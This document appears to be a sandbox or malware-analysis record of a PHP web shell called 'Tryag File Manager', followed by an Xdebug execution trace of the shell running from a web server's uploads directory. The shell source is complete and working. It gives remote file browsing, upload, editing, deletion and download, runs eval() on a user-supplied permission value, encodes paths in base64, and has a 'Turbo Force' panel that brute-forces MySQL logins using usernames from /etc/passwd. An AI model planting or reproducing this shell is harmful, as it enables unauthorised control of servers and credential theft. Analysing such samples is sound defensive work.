Jump to:
Screenshot
Attributes
Emails
<?php
error_reporting(0);
set_time_limit(0);
extract(start());
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
$_POST['path'] = isset($_POST['path']) ? g22b_crypt($_POST['path'], 'de') : false;
$_POST['name'] = isset($_POST['name']) ? g22b_crypt($_POST['name'], 'de') : false;
if (isset($_GET['option']) && $_POST['opt'] == 'download') {
header('Content-type: text/plain');
header('Content-Disposition: attachment; filename="' . $_POST['name'] . '"');
echo file_get_contents($_POST['path']);
exit;
}
echo '<!DOCTYPE html>
<html>
<head>
<title>Tryag File Manager</title>
<meta name="robots" content="noindex" />
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
margin: 0;
}
#container{
width: 700px;
margin: 20px auto;
border: 1px solid black;
}
@font-face {
font-family: \'Racing Sans One\';
font-style: normal;
font-weight: 400;
src: local(\'Racing Sans One\'), local(\'RacingSansOne-Regular\'), url(http://g22b.cc/upload/1r3DpWaCiT7y3PD4KgkNyK3fkYX5z1QtDUdIWoaaD_k.woff) format(\'woff\');
}
#header{
text-align: center;
border-bottom: 1px dotted black;
}
#header h1{
margin: 0;
}
#nav,#menu{
padding-top: 5px;
margin-left: 5px;
padding-bottom: 5px;
overflow: hidden;
border-bottom: 1px dotted black;
}
#nav{
margin-bottom: 10px;
}
#menu{
text-align: center;
}
#content{
margin: 0;
}
#content table{
width: 700px;
margin: 0px;
}
#content table .first{
background-color: silver;
text-align: center;
}
#content table .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
#content table tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#footer{
margin-top: 10px;
border-top: 1px dotted black;
}
#footer p{
margin: 5px;
text-align: center;
}
.filename,a{
color: #000;
text-decoration: none;
cursor: pointer;
}
.filename:hover,a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
.center{
text-align: center;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
<script>
function Encoder(name)
{
var e = document.getElementById(name);
e.value = btoa(e.value);
return true;
}
</script>
</head>
<body>
<div id="container">
<div id="header"><h1>Tryag File Manager</h1></div>
<div id="menu"><a href="?path=' . $currentpathen . '">Home</a> - <a href="?path=' . $currentpathen . '&cpanel">Turbo Force</a></div>
<div id="nav">
<div class="path">Current Path : ' . nav_link() . '</div>
<div class="upload">
<form enctype="multipart/form-data" method="POST" action="?path=' . $currentpathen . '&up">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</div>
<div class="new">
<form method="POST" action="?path=' . $currentpathen . '&new" onSubmit="Encoder(\'c\')">
<span>New : </span><input name="name" type="text" size="10" id="c" />
File <input type="radio" name="type" value="file" checked/>
Dir <input type="radio" name="type" value="dir" />
<input type="submit" value="Create" />
</form>
</div>
</div>
<div id="content">';
if (isset($_GET['cpanel'])) {
if (isset($_POST['usernames']) && isset($_POST['passwords'])) {
$usernames = base64_decode($_POST['usernames']);
$passwords = base64_decode($_POST['passwords']);
$count = 0;
foreach (explode("\n", $usernames) as $username) {
$username = $_POST['type'] == 'simple' ? $username : passwdtouser($username);
foreach (explode("\n", $passwords) as $password) {
$username = trim($username);
$password = trim($password);
$co = mysql_connect('localhost', $username, $password);
if ($co) {
mysql_close($co);
echo "Tryag~ Username (<font color=red>{$username}</font>) Password (<font color=red>{$password}</font>)<br />";
$count++;
}
}
}
echo "{$count} Usernames Founded.";
} else {
echo "<form method=\"POST\" onSubmit=\"Encoder('c');Encoder('b');\">\r\n Usernames : <br />\r\n <textarea cols=84 rows=10 id=\"c\" name=\"usernames\"></textarea><br />\r\n Passwords : <br />\r\n <textarea cols=84 rows=10 id=\"b\" name=\"passwords\"></textarea><br />\r\n Usernames Type : Simple : <input type=\"radio\" name=\"type\" value=\"simple\" checked=\"checked\"> - /etc/passwd : <input type=\"radio\" name=\"type\" value=\"pass\">\r\n <br /><input type=\"submit\" value=\"Go\">\r\n </form>";
}
} else {
if (isset($_GET['filesrc'])) {
$file = g22b_crypt($_GET['filesrc'], 'de');
echo '<div class="center">' . htmlspecialchars($file) . '</div><textarea cols="84" rows="25">' . filesrc($file) . '</textarea></pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete' || isset($_GET['new']) && $_POST['type'] == 'file') {
echo '<div class="center">' . $_POST['name'] . '<br />';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
eval('$perm = ' . $_POST['perm'] . ';');
if (chmod($_POST['path'], $perm)) {
echo "<font color=\"green\">Change Permission Done.</font><br />";
$permdone = true;
} else {
echo "<font color=\"red\">Change Permission Error.</font><br />";
}
}
if ($permdone) {
$perm = $_POST['perm'];
} else {
$perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . $perm . '" />
<input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
<input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $currentpath . '/' . $_POST['newname'])) {
echo "<font color=\"green\">Change Name Done.</font><br />";
$_POST['name'] = $_POST['newname'];
} else {
echo "<font color=\"red\">Change Name Error.</font><br />";
}
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
<input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'edit' || isset($_GET['new'])) {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, base64_decode($_POST['src']))) {
echo "<font color=\"green\">Edit File Done.</font><br />";
$done = true;
} else {
echo "<font color=\"red\">Edit File Error.</font><br />";
}
fclose($fp);
}
if (isset($_GET['new']) && !$done) {
$filecontent = '';
$_POST['path'] = "{$currentpath}/{$_POST['name']}";
} else {
$filecontent = filesrc($_POST['path']);
}
echo '<form method="POST" onSubmit="Encoder(\'c\')">
<textarea cols="84" rows="25" name="src" id="c">' . $filecontent . '</textarea><br />
<input type="hidden" name="path" value="' . g22b_crypt($_POST['path'], 'en') . '">
<input type="hidden" name="name" value="' . g22b_crypt($_POST['name'], 'en') . '">
<input type="hidden" name="type" value="file" />
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo "</div>";
} else {
echo "<div class=\"center\">";
if ($_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo "<font color=\"green\">Delete Dir Done.</font><br />";
} else {
echo "<font color=\"red\">Delete Dir Error.</font><br />";
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo "<font color=\"green\">Delete File Done.</font><br />";
} else {
echo "<font color=\"red\">Delete File Error.</font><br />";
}
}
} elseif ($_POST['type'] == 'dir' && isset($_GET['new'])) {
if (mkdir("{$currentpath}/{$_POST['name']}")) {
echo "<font color=\"green\">Create Dir Done.</font><br />";
} else {
echo "<font color=\"red\">Create Dir Error.</font><br />";
}
} elseif (isset($_FILES['file'])) {
$userfile_name = $currentpath . '/' . $_FILES['file']['name'];
$userfile_tmp = $_FILES['file']['tmp_name'];
if (move_uploaded_file($userfile_tmp, $userfile_name)) {
echo "<font color=\"green\">File Upload Done.</font><br />";
} else {
echo "<font color=\"red\">File Upload Error.</font><br />";
}
}
echo "</div><table>\r\n <tr class=\"first\">\r\n <td>Name</td>\r\n <td>Size</td>\r\n <td>Permissions</td>\r\n <td>Options</td>\r\n </tr>";
$dirs = getfiles('dir');
foreach ($dirs as $dir) {
echo '<div id="dirs"><tr>
<td><a href="?path=' . $dir['link'] . '"><div class="filename">' . $dir['name'] . '</div></a></td>
<td class="center">' . $dir['size'] . '</td>
<td class="center"><font color="' . $dir['permcolor'] . '">' . $dir['perm'] . '</font></td>
<td class="center"><form method="POST" action="?path=' . $currentpathen . '&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . g22b_crypt($dir['name'], 'en') . '">
<input type="hidden" name="path" value="' . $dir['link'] . '">
<input type="submit" value=">" />
</form></td>
</tr>
</div>';
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
$files = getfiles('file');
foreach ($files as $file) {
echo '<div id="files">
<tr>
<td><a href="?path=' . $currentpathen . '&filesrc=' . $file['link'] . '"><div class="filename">' . $file['name'] . '</div></a></td>
<td class="center">' . $file['size'] . '</td>
<td class="center"><font color="' . $file['permcolor'] . '">' . $file['perm'] . '</font></td>
<td class="center"><form method="POST" action="?path=' . $currentpathen . '&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
<option value="download">Download</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . g22b_crypt($file['name'], 'en') . '">
<input type="hidden" name="path" value="' . $file['link'] . '">
<input type="submit" value=">" />
</form></td>
</tr></div>';
}
echo "</table>";
}
}
echo "</div>\r\n <div id=\"footer\"><p>Tryag File Manager Version <font color=\"red\">2.0</font>, Coded By <font color=\"red\">G-B</font><br />Email: <font color=\"red\">anonymousiq87@gmail.com</font></p></div>\r\n </div>\r\n \r\n</body>\r\n</html>";
function getfiles($type)
{
global $currentpath;
$dir = scandir($currentpath);
$result = array();
foreach ($dir as $file) {
$current['fullname'] = "{$currentpath}/{$file}";
if ($type == 'dir') {
if (!is_dir($current['fullname']) || $file == '.' || $file == '..') {
continue;
}
} elseif ($type == 'file') {
if (!is_file($current['fullname'])) {
continue;
}
}
$current['name'] = $file;
$current['link'] = g22b_crypt($current['fullname'], 'en');
$current['size'] = is_dir($current['fullname']) ? '--' : file_size($current['fullname']);
$current['perm'] = perms($current['fullname']);
if (is_writable($current['fullname'])) {
$current['permcolor'] = 'green';
} elseif (is_readable($current['fullname'])) {
$current['permcolor'] = '';
} else {
$current['permcolor'] = 'red';
}
$result[] = $current;
}
return $result;
}
function start()
{
global $_POST, $_GET;
$result['currentpath'] = isset($_GET['path']) ? g22b_crypt($_GET['path'], 'de') : cwd();
$result['currentpathen'] = isset($_GET['path']) ? $_GET['path'] : g22b_crypt(cwd(), 'en');
return $result;
}
function file_size($file)
{
$size = filesize($file) / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
return $size;
}
function g22b_crypt($txt, $type)
{
if (function_exists('base64_encode') && function_exists('base64_decode')) {
return $type == 'en' ? base64_encode($txt) : base64_decode($txt);
} elseif (function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')) {
return $type == 'en' ? strToHex($txt) : hexToStr($txt);
} else {
$ar1 = array('public_html', '.htaccess', '/', '.');
$ar2 = array('bbbpubghostbbb', 'bbbhtaghostbbb', 'bbbsghostbbb', 'bbbdotghostbbb');
return $type == 'en' ? str_replace($ar1, $ar2, $txt) : str_replace($ar2, $ar1, $txt);
}
}
function strToHex($string)
{
$hex = '';
for ($i = 0; $i < strlen($string); $i++) {
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
function hexToStr($hex)
{
$string = '';
for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
$string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
}
return $string;
}
function nav_link()
{
global $currentpath;
$path = $currentpath;
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
$result = '';
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
$result .= '<a href="?path=' . g22b_crypt("/", 'en') . '">/</a>';
continue;
}
if ($pat == '') {
continue;
}
$result .= '<a href="?path=';
$linkpath = '';
for ($i = 0; $i <= $id; $i++) {
$linkpath .= "{$paths[$i]}";
if ($i != $id) {
$linkpath .= "/";
}
}
$result .= g22b_crypt($linkpath, 'en');
$result .= '">' . $pat . '</a>/';
}
return $result;
}
function filesrc($file)
{
return htmlspecialchars(file_get_contents($file));
}
function cwd()
{
if (function_exists('getcwd')) {
return getcwd();
} else {
$e = str_replace("\\", "/", $path);
$e = explode('/', $path);
$result = '';
for ($i = 0; $i < count($e) - 1; $i++) {
if ($e[$i] == '') {
continue;
}
$result .= '/' . $e[$i];
}
return $result;
}
}
function passwdtouser($line)
{
$user = explode(':', $line);
return $user[0];
}
function perms($file)
{
$perms = @fileperms($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
// Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
// World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:26:21.152760]
1 0 1 0.000137 393512
1 3 0 0.000626 496056 {main} 1 /var/www/html/uploads/ffdd.php 0 0
2 4 0 0.000643 496056 error_reporting 0 /var/www/html/uploads/ffdd.php 2 1 0
2 4 1 0.000659 496096
2 4 R 22527
2 5 0 0.000672 496056 set_time_limit 0 /var/www/html/uploads/ffdd.php 3 1 0
2 5 1 0.000687 496120
2 5 R FALSE
2 6 0 0.000701 496088 start 1 /var/www/html/uploads/ffdd.php 4 0
2 A /var/www/html/uploads/ffdd.php 378 _POST =&
2 A /var/www/html/uploads/ffdd.php 378 _GET =&
3 7 0 0.000738 496112 cwd 1 /var/www/html/uploads/ffdd.php 380 0
4 8 0 0.000750 496112 function_exists 0 /var/www/html/uploads/ffdd.php 450 1 'getcwd'
4 8 1 0.000764 496152
4 8 R TRUE
4 9 0 0.000777 496112 getcwd 0 /var/www/html/uploads/ffdd.php 451 0
4 9 1 0.000790 496160
4 9 R '/var/www/html/uploads'
3 7 1 0.000805 496160
3 7 R '/var/www/html/uploads'
2 A /var/www/html/uploads/ffdd.php 380 $result['currentpath'] = '/var/www/html/uploads'
3 10 0 0.000833 496536 cwd 1 /var/www/html/uploads/ffdd.php 381 0
4 11 0 0.000844 496536 function_exists 0 /var/www/html/uploads/ffdd.php 450 1 'getcwd'
4 11 1 0.000857 496576
4 11 R TRUE
4 12 0 0.000870 496536 getcwd 0 /var/www/html/uploads/ffdd.php 451 0
4 12 1 0.000883 496584
4 12 R '/var/www/html/uploads'
3 10 1 0.000897 496584
3 10 R '/var/www/html/uploads'
3 13 0 0.000911 496584 g22b_crypt 1 /var/www/html/uploads/ffdd.php 381 2 '/var/www/html/uploads' 'en'
4 14 0 0.000925 496584 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 14 1 0.000938 496624
4 14 R TRUE
4 15 0 0.000951 496584 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 15 1 0.000963 496624
4 15 R TRUE
4 16 0 0.000976 496584 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads'
4 16 1 0.000990 496680
4 16 R 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3 13 1 0.001005 496648
3 13 R 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2 A /var/www/html/uploads/ffdd.php 381 $result['currentpathen'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2 6 1 0.001033 496600
2 6 R ['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2 17 0 0.001053 496600 extract 0 /var/www/html/uploads/ffdd.php 4 1 ['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2 17 1 0.001071 496632
2 17 R 2
2 18 0 0.001083 496224 get_magic_quotes_gpc 0 /var/www/html/uploads/ffdd.php 5 0
2 18 1 0.001095 496224
2 18 R FALSE
1 A /var/www/html/uploads/ffdd.php 10 _POST['path'] = FALSE
1 A /var/www/html/uploads/ffdd.php 11 _POST['name'] = FALSE
2 19 0 0.001133 499648 nav_link 1 /var/www/html/uploads/ffdd.php 127 0
2 A /var/www/html/uploads/ffdd.php 424 $path = '/var/www/html/uploads'
3 20 0 0.001156 499672 str_replace 0 /var/www/html/uploads/ffdd.php 425 3 '\\' '/' '/var/www/html/uploads'
3 20 1 0.001172 499768
3 20 R '/var/www/html/uploads'
2 A /var/www/html/uploads/ffdd.php 425 $path = '/var/www/html/uploads'
3 21 0 0.001196 499672 explode 0 /var/www/html/uploads/ffdd.php 426 2 '/' '/var/www/html/uploads'
3 21 1 0.001211 500248
3 21 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2 A /var/www/html/uploads/ffdd.php 426 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2 A /var/www/html/uploads/ffdd.php 427 $result = ''
2 A /var/www/html/uploads/ffdd.php 428 $id = 0
2 A /var/www/html/uploads/ffdd.php 430 $a = TRUE
3 22 0 0.001272 500176 g22b_crypt 1 /var/www/html/uploads/ffdd.php 431 2 '/' 'en'
4 23 0 0.001285 500176 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 23 1 0.001299 500216
4 23 R TRUE
4 24 0 0.001311 500176 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 24 1 0.001324 500216
4 24 R TRUE
4 25 0 0.001337 500176 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/'
4 25 1 0.001349 500248
4 25 R 'Lw=='
3 22 1 0.001367 500216
3 22 R 'Lw=='
2 A /var/www/html/uploads/ffdd.php 431 $result .= '<a href="?path=Lw==">/</a>'
2 A /var/www/html/uploads/ffdd.php 428 $id = 1
2 A /var/www/html/uploads/ffdd.php 435 $result .= '<a href="?path='
2 A /var/www/html/uploads/ffdd.php 436 $linkpath = ''
2 A /var/www/html/uploads/ffdd.php 437 $i = 0
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= ''
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'var'
2 A /var/www/html/uploads/ffdd.php 437 $i++
3 26 0 0.001479 500288 g22b_crypt 1 /var/www/html/uploads/ffdd.php 441 2 '/var' 'en'
4 27 0 0.001493 500288 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 27 1 0.001506 500328
4 27 R TRUE
4 28 0 0.001519 500288 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 28 1 0.001531 500328
4 28 R TRUE
4 29 0 0.001544 500288 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var'
4 29 1 0.001556 500360
4 29 R 'L3Zhcg=='
3 26 1 0.001570 500328
3 26 R 'L3Zhcg=='
2 A /var/www/html/uploads/ffdd.php 441 $result .= 'L3Zhcg=='
2 A /var/www/html/uploads/ffdd.php 442 $result .= '">var</a>/'
2 A /var/www/html/uploads/ffdd.php 428 $id = 2
2 A /var/www/html/uploads/ffdd.php 435 $result .= '<a href="?path='
2 A /var/www/html/uploads/ffdd.php 436 $linkpath = ''
2 A /var/www/html/uploads/ffdd.php 437 $i = 0
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= ''
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'var'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'www'
2 A /var/www/html/uploads/ffdd.php 437 $i++
3 30 0 0.001711 500328 g22b_crypt 1 /var/www/html/uploads/ffdd.php 441 2 '/var/www' 'en'
4 31 0 0.001735 500328 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 31 1 0.001750 500368
4 31 R TRUE
4 32 0 0.001762 500328 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 32 1 0.001775 500368
4 32 R TRUE
4 33 0 0.001788 500328 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www'
4 33 1 0.001801 500408
4 33 R 'L3Zhci93d3c='
3 30 1 0.001815 500376
3 30 R 'L3Zhci93d3c='
2 A /var/www/html/uploads/ffdd.php 441 $result .= 'L3Zhci93d3c='
2 A /var/www/html/uploads/ffdd.php 442 $result .= '">www</a>/'
2 A /var/www/html/uploads/ffdd.php 428 $id = 3
2 A /var/www/html/uploads/ffdd.php 435 $result .= '<a href="?path='
2 A /var/www/html/uploads/ffdd.php 436 $linkpath = ''
2 A /var/www/html/uploads/ffdd.php 437 $i = 0
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= ''
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'var'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'www'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'html'
2 A /var/www/html/uploads/ffdd.php 437 $i++
3 34 0 0.001980 500376 g22b_crypt 1 /var/www/html/uploads/ffdd.php 441 2 '/var/www/html' 'en'
4 35 0 0.001993 500376 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 35 1 0.002007 500416
4 35 R TRUE
4 36 0 0.002019 500376 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 36 1 0.002037 500416
4 36 R TRUE
4 37 0 0.002050 500376 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html'
4 37 1 0.002063 500464
4 37 R 'L3Zhci93d3cvaHRtbA=='
3 34 1 0.002077 500432
3 34 R 'L3Zhci93d3cvaHRtbA=='
2 A /var/www/html/uploads/ffdd.php 441 $result .= 'L3Zhci93d3cvaHRtbA=='
2 A /var/www/html/uploads/ffdd.php 442 $result .= '">html</a>/'
2 A /var/www/html/uploads/ffdd.php 428 $id = 4
2 A /var/www/html/uploads/ffdd.php 435 $result .= '<a href="?path='
2 A /var/www/html/uploads/ffdd.php 436 $linkpath = ''
2 A /var/www/html/uploads/ffdd.php 437 $i = 0
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= ''
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'var'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'www'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'html'
2 A /var/www/html/uploads/ffdd.php 439 $linkpath .= '/'
2 A /var/www/html/uploads/ffdd.php 437 $i++
2 A /var/www/html/uploads/ffdd.php 438 $linkpath .= 'uploads'
2 A /var/www/html/uploads/ffdd.php 437 $i++
3 38 0 0.002265 500416 g22b_crypt 1 /var/www/html/uploads/ffdd.php 441 2 '/var/www/html/uploads' 'en'
4 39 0 0.002278 500416 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 39 1 0.002291 500456
4 39 R TRUE
4 40 0 0.002304 500416 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 40 1 0.002317 500456
4 40 R TRUE
4 41 0 0.002329 500416 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads'
4 41 1 0.002342 500512
4 41 R 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3 38 1 0.002357 500480
3 38 R 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2 A /var/www/html/uploads/ffdd.php 441 $result .= 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2 A /var/www/html/uploads/ffdd.php 442 $result .= '">uploads</a>/'
2 19 1 0.002395 499896
2 19 R '<a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/<a href="?path=L3Zhci93d3cvaHRtbC91cGxvYWRz">uploads</a>/'
2 42 0 0.002426 496712 getfiles 1 /var/www/html/uploads/ffdd.php 291 1 'dir'
3 43 0 0.002440 496712 scandir 0 /var/www/html/uploads/ffdd.php 350 1 '/var/www/html/uploads'
3 43 1 0.002474 497336
3 43 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ffdd.php', 5 => 'prepend.php']
2 A /var/www/html/uploads/ffdd.php 350 $dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ffdd.php', 5 => 'prepend.php']
2 A /var/www/html/uploads/ffdd.php 351 $result = []
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/.'
3 44 0 0.002534 497728 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/.'
3 44 1 0.002550 497792
3 44 R TRUE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/..'
3 45 0 0.002575 497760 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/..'
3 45 1 0.002589 497808
3 45 R TRUE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/.htaccess'
3 46 0 0.002614 497768 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/.htaccess'
3 46 1 0.002628 497808
3 46 R FALSE
2 A /var/www/html/uploads/ffdd.php 353 $current['fullname'] = '/var/www/html/uploads/data'
3 47 0 0.002653 497768 is_dir 0 /var/www/html/uploads/ffdd.php 355 1 '/var/www/html/uploads/data'
3 47 1 0.002667 497808
3 47 R TRUE
2 A /var/www/html/uploads/ffdd.php 360 $current['name'] = 'data'
3 48 0 0.002691 497768 g22b_crypt 1 /var/www/html/uploads/ffdd.php 361 2 '/var/www/html/uploads/data' 'en'
4 49 0 0.002705 497768 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_encode'
4 49 1 0.002718 497808
4 49 R TRUE
4 50 0 0.002731 497768 function_exists 0 /var/www/html/uploads/ffdd.php 396 1 'base64_decode'
4 50 1 0.002747 497808
4 50 R TRUE
4 51 0 0.002760 497768 base64_encode 0 /var/www/html/uploads/ffdd.php 397 1 '/var/www/html/uploads/data'
4 51 1 0.002773 497880
4 51 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
3 48 1 0.002789 497848
3 48 R 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2 A /var/www/html/uploads/ffdd.php 361 $current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
3 52 0 0.002817 497848 is_dir 0 /var/www/html/uploads/ffdd.php 362 1 '/var/www/html/uploads/data'
3 52 1 0.002830 497888
3 52 R TRUE
2 A /var/www/html/uploads/ffdd.php 362 $current['size'] = '--'
3 53 0 0.002854 497848 perms 1 /var/www/html/uploads/ffdd.php 363 1 '/var/www/html/uploads/data'
4 54 0 0.002867 497848 fileperms 0 /var/www/html/uploads/ffdd.php 468 1 '/var/www/html/uploads/data'
4 54 1 0.002880 497888
4 54 R 16895
3 A /var/www/html/uploads/ffdd.php 468 $perms = 16895
3 A /var/www/html/uploads/ffdd.php 484 $info = 'd'
3 A /var/www/html/uploads/ffdd.php 497 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 498 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 501 $info .= 'x'
3 A /var/www/html/uploads/ffdd.php 504 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 505 $info .= 'w'
3 A /var/www/html/uploads/ffdd.php 508 $info .= 'x'
3 A /var/www/html/uploads/ffdd.php 511 $info .= 'r'
3 A /var/www/html/uploads/ffdd.php 512 $info .= 'w'
